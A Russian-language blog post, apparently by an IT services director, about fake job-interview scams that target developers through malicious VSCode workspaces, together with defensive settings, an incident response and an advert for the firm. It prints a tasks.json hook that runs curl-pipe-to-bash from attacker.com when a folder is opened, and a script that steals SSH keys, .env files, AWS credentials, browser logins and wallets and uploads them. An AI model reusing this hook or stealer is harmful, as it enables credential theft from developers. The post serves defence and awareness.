· 11 мин чтения

ИИ-скамеры против разработчиков: новая волна атак через фейковые собеседования

Меня зовут Семёнов Евгений Сергеевич, директор АйТи Фреш. В марте 2026 года у одного из наших клиентов — веб-студии на 22 сотрудника — мы разобрали инцидент: middle-разработчик получил «оффер» на LinkedIn с приятной зарплатой, прошёл два этапа собеседования, на третьем ему прислали тестовое задание в приватном репозитории GitHub. Он открыл репозиторий в VSCode — и через 15 секунд у компании утекли SSH-ключи к продакшен-серверам, токены AWS и credentials от Bitrix24. Никакого малваря в прямом смысле не было — атака выполнилась одной строчкой в tasks.json. Эту схему сейчас массово раскатывают ИИ-агенты, и разбирать её надо прямо сейчас, пока у ваших разработчиков ключи не поперёк офисной стены.

Что изменилось: ИИ превратил скам в конвейер

До ИИ-агентов фейковые офферы на разработчиков были точечными: злоумышленник вручную собирал профиль цели, писал индивидуальное письмо, имитировал HR-специалиста. Это трудозатратно, поэтому охватить удавалось десятки, максимум сотни человек в месяц.

В 2025-2026 появились ИИ-агенты, которые делают то же самое в промышленном масштабе. Один оператор запускает агента, тот через публичные API LinkedIn, HeadHunter и GitHub парсит профили, определяет технологический стек каждой цели и генерирует персонализированное письмо с именно такой позицией, которая идеально подходит соискателю. Backend-разработчику на Go прилетает вакансия Go-разработчика с нужной нишевой специализацией. Frontend-щику на React — почти ровно его стек. Десятки тысяч сообщений в день, каждое выглядит как живое.

У одного исследователя, ловившего таких агентов в honeypot-аккаунтах, за 40 дней набралось 1 170 фейковых офферов. 82% выходили из новых GitHub-профилей с 1-3 коммитами и стоковой аватаркой. 18% — с правдоподобных, но украденных аккаунтов.

Техническая суть атаки: tasks.json как оружие

Всё гениальное просто. В VSCode есть папка .vscode в каждом проекте, где лежат настройки рабочего пространства. Среди них — tasks.json, конфиг задач сборки/линтинга/тестов. У задач есть параметр runOn, который может быть folderOpen — «выполни эту задачу, как только пользователь откроет папку».

Вот минимальный пример атакующего tasks.json:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "install-deps",
      "type": "shell",
      "command": "curl -fsSL https://attacker.com/x.sh | bash",
      "runOptions": { "runOn": "folderOpen" },
      "presentation": { "reveal": "never", "panel": "dedicated" }
    }
  ]
}

При открытии проекта VSCode без всякого подтверждения скачивает скрипт и запускает. Скрипт делает следующее (реальный дамп одного из пойманных вариантов):

# Собираем SSH-ключи
tar -czf /tmp/ssh.tgz ~/.ssh/ 2>/dev/null

# .env из всех проектов
find ~ -maxdepth 4 -name ".env" -not -path "*/node_modules/*" \
  -exec cat {} \; 2>/dev/null > /tmp/envs.txt

# AWS
tar -czf /tmp/aws.tgz ~/.aws/ 2>/dev/null

# Chrome / Firefox credentials
cp -r ~/.config/google-chrome/Default/Login\ Data /tmp/chrome.db 2>/dev/null
cp -r ~/.mozilla/firefox/*/key4.db /tmp/ff.db 2>/dev/null

# Криптокошельки
find ~/.config -name "exodus.wallet" -exec cp {} /tmp/ \;
find ~ -maxdepth 4 -name "UTC--*" -exec cp {} /tmp/ \;

# Заливаем
curl -X POST https://attacker.com/loot \
  -F "host=$(hostname)" \
  -F "ssh=@/tmp/ssh.tgz" -F "envs=@/tmp/envs.txt" \
  -F "aws=@/tmp/aws.tgz" -F "chrome=@/tmp/chrome.db"

Всё это выполняется за 10-20 секунд в зависимости от канала. Разработчик видит экран VSCode, открывающий проект, — и не замечает ничего.

Почему атака бьёт именно по бизнесу

Обычно такие утечки списывают на «разработчик дурак». Но для IT-аутсорсера и для любого офиса это корпоративная проблема:

В инциденте у нашего клиента — веб-студии — по утекшим ключам злоумышленник зашёл на два прод-сервера, развернул на них Monero-майнер и пролежал там 9 дней до обнаружения. Счёт за облако вырос на 140 000 руб. Это ещё дёшево — в марте 2025 года была история, когда через ту же схему у немецкой финтех-компании угнали 1.7 млн евро с корпоративного кошелька.

Признаки фейкового оффера и репозитория

Инструктаж, который я даю разработчикам клиентов:

ПризнакЧто значит
Первое сообщение в LinkedIn/Telegram без видеозвонкаАгент не хочет показывать лицо, потому что нет лица
Опечатки «для естественности»Модель специально их вставляет, чтобы не выглядеть как LLM
Ответы только в строго определённые часыУ оператора ограниченный таймфрейм работы агента
Вакансия идеально совпадает со стеком кандидатаАгент прочитал твой GitHub и сгенерировал именно под тебя
Приглашение в приватный GitHub-репозиторийЧтобы ты не мог просмотреть содержимое через веб до клонирования
Папка .vscode в тестовомНикогда не должна быть в тестовом задании соискателю
Обфусцированные скрипты, непонятные бинарникиПрямые признаки закладки

Отдельно: компании-работодателя по названию не найдётся в ЕГРЮЛ или западных корпоративных реестрах. Или найдётся, но это пустая shell company.

Базовая защита: ставлю всем клиентам за 2 часа

Первый и главный настройщик — отключить автоматические задачи VSCode. Файл settings.json должен содержать:

{
  "task.allowAutomaticTasks": "off",
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.banner": "always",
  "security.workspace.trust.emptyWindow": false,
  "security.workspace.trust.untrustedFiles": "prompt"
}

Эти пять строчек убивают весь класс атак через folderOpen. Workspace Trust заставляет VSCode спросить «ты доверяешь этой папке?» при каждом открытии нового проекта, и пока доверие не подтверждено — задачи, дебаггер и расширения не выполняются.

Для корпоративного деплоя настройки я использую:

Аппаратные ключи — обязательно для SSH и GitHub

Даже если tasks.json-атака сработает, аппаратный ключ делает SSH-ключи и GitHub-токены бесполезными для злоумышленника. YubiKey или RuToken хранит приватный ключ внутри чипа, его невозможно скопировать.

Для SSH настройка за 5 минут:

# На клиенте
ssh-keygen -t ed25519-sk -O resident -O verify-required \
  -f ~/.ssh/id_ed25519_sk -C "evgeniy@itfresh-yubikey-2"
# Ключ требует физического касания YubiKey при каждом соединении

# На сервере добавляем в authorized_keys стандартно
cat ~/.ssh/id_ed25519_sk.pub >> /etc/ssh/authorized_keys

Для GitHub-коммитов я перевожу разработчиков на SSH-commit-signing тем же ключом — это закрывает ещё и подделку коммитов украденным токеном.

Стоимость YubiKey 5C NFC — около 6 000 руб. на человека. Для офиса в 20 разработчиков это 120 000 руб. разово. После потери доступа к продакшену на сумму от 140 000 руб. и выше окупается с первого инцидента.

Что мы сделали у клиента после инцидента

По следам инцидента с утёкшими ключами я провёл у веб-студии двухдневный проект:

  1. Отозваны все SSH-ключи на всех прод-серверах. Перевыпущены через YubiKey.
  2. Все AWS-токены в IAM отозваны. Настроены short-lived credentials через AWS IAM Identity Center + STS на 12 часов.
  3. Пароли Bitrix24, GitHub, Google Workspace — сменены у всех 22 сотрудников. Включена аппаратная 2FA (обязательна для всех).
  4. Деплой настроек VSCode через GPO (Windows) и Ansible (Linux-разработчики). 19 рабочих станций переконфигурированы за день.
  5. EDR (Kaspersky Endpoint Security) настроен на алерты при чтении ~/.ssh/, ~/.aws/, ~/.config/*wallet*, при выполнении скриптов из .vscode/.
  6. Проведён двухчасовой инструктаж команды: показал реальный tasks.json из инцидента, разобрали признаки фейковых офферов, научили проверять через git archive --format=tar HEAD | tar -t перед клонированием.
  7. Добавлено правило: все тестовые задания от сторонних работодателей клонируются и открываются только в одноразовой VM. Настроена QEMU/KVM template с Debian 12 и предустановленным VSCode — запуск новой VM за 30 секунд.

Стоимость проекта — 68 000 руб. плюс 120 000 руб. на YubiKey. По сравнению с 140 000 руб. майнинга и потенциальной утечкой клиентских данных — дёшево.

Политика для всех разработчиков в офисе

Я раздаю такую одностраничную памятку:

Защитим ваш офис от ИИ-скама — от 55 000 руб.

Я лично провожу аудит уязвимости рабочих станций разработчиков и настраиваю корпоративную защиту для компаний в Москве. Деплой VSCode-политик через GPO/Ansible, переход на YubiKey, EDR-алерты на чтение секретов, инструктаж команды. Типовой проект для 20-40 рабочих мест — 2-3 дня. Бесплатный выезд и предварительный аудит.

Телефон: +7 903 729-62-41
Telegram: @ITfresh_Boss
Семёнов Евгений Сергеевич, директор АйТи Фреш

FAQ — защита от ИИ-скама

Как работает атака через tasks.json в VSCode?
В репозитории создаётся файл .vscode/tasks.json с параметром runOn: folderOpen. Когда разработчик открывает папку в VSCode, задача выполняется автоматически — скачивается и запускается скрипт с удалённого сервера. Скрипт ищет SSH-ключи, .env, криптокошельки, пароли браузера и отправляет их злоумышленнику.
Какие данные крадут у разработчиков?
Основные цели: приватные ключи SSH из ~/.ssh, файлы переменных окружения .env с credentials, файлы кошельков Metamask/Exodus/Phantom, пароли и cookie из Chrome/Firefox/Edge, токены AWS/GCP из ~/.aws и ~/.config, история bash и zsh с командами.
Как защитить разработчиков своей компании?
Пять шагов: отключить автоматические задачи VSCode, настроить EDR с мониторингом ~/.ssh и .aws, перевести команду на аппаратные ключи YubiKey/Token, провести внутренний инструктаж по признакам фейковых офферов, отделить рабочие ключи от личных через разные профили ОС или виртуальные машины.
Можно ли просто запретить tasks.json в корпоративной политике?
Можно и нужно. В settings.json корпоративных рабочих мест прописываем task.allowAutomaticTasks: off и security.workspace.trust.enabled: true. Для централизованного деплоя конфигов VSCode используем MDM (Intune, JamfPro) или Ansible с правами administrator для Windows/Linux.
Сколько стоит защитить офис от таких атак?
Для офиса на 30-50 рабочих мест базовая защита — от 55 000 руб.: деплой конфигов VSCode через GPO, переход на YubiKey для SSH у разработчиков и админов, настройка EDR с alertами на чтение ~/.ssh, обучение команды (2 часа). Аппаратные ключи — плюс 6 000 руб. на сотрудника.